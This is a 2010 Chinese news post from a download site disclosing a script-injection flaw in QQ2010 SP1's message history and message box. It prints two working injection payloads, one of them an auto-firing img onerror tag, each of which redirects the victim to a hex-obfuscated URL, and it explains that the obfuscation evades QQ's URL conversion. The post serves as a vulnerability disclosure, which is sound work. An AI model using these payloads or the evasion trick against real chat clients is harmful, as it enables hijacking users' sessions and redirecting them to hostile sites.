IT资讯/综合软件下载站!┆ 最新软件 最新文章 最新手机 UFO外星人 网站分类

您当前的位置→图文中心新闻资讯业界快讯QQ腾讯2010SP1发布查看记录即现严重漏洞

QQ腾讯2010SP1发布查看记录即现严重漏洞


2010/7/29  编辑:admin 来源:本站整理 

腾讯QQ一向是腾讯主打的产品,意想不到前天发布的QQ2010SP1竟然有如此大漏洞。

首先囧一下:脚本出错还会提示错误

image

1、消息记录的Javascript、Html标签没有屏蔽

image

2、消息盒子Javascript、Html标签没有屏蔽

image

3、www.arpun.com 小实验

1、发送代码:

以下为引用的内容:
<input onclick="window.location=’x68x74x74x70x3ax2fx2fx77x77x77x2ex62x6fx77x6fx73x2ex63x6fx6d’" />

因为腾讯会自动将url转换,我们必须混淆url才能发送

image

image

image

4、超牛代码

以下为引用的内容:
<img src=’tetet’ onerror="window.location=’x68x74x74x70x3ax2fx2fx77x77x77x2ex62x6fx77x6fx73x2ex63x6fx6d’"/>

因为要点击才能触发,想到一个不用点击就能触发的代码。

5、希望腾讯快点修复,这个漏洞非同小可

6、本漏洞由TGL发现。

QQ腾讯2010SP1发布查看记录即现严重漏洞_arp联盟 
 

注意,本代码仅供研究之用,请勿用于不当用途。

如打算规避漏洞带来的风险,请下载SP0版本,看来SP1版本的changelog得修改为“更新了一些漏洞”。

下一页备案取消了|论坛专项bbs网站备案取消了

相关文章
  • ·[组图]广州增城汽车车友会微信QQ群,以车会友,欢迎车主加入我们!
  • ·[图文]QQ空间怎么发GIF动图
  • ·[图文]QQ永久冻结会回收吗 QQ永久冻结怎么恢复
  • ·[图文]QQ被永久冻结钱还能取出来吗 QQ永久冻结里面的钱怎么办
  • ·[图文]手机QQ怎么转发多条消息
  • ·[图文]QQ邮箱怎么发送word、excel文档
  • ·[图文]QQ连拍照片怎么生成动图
  • ·[图文]手机QQ浏览器开启无图模式
  • 发表评论
    栏目列表
    阅读排行
    网站帮助 - 广告合作 - 下载声明 - 网站地图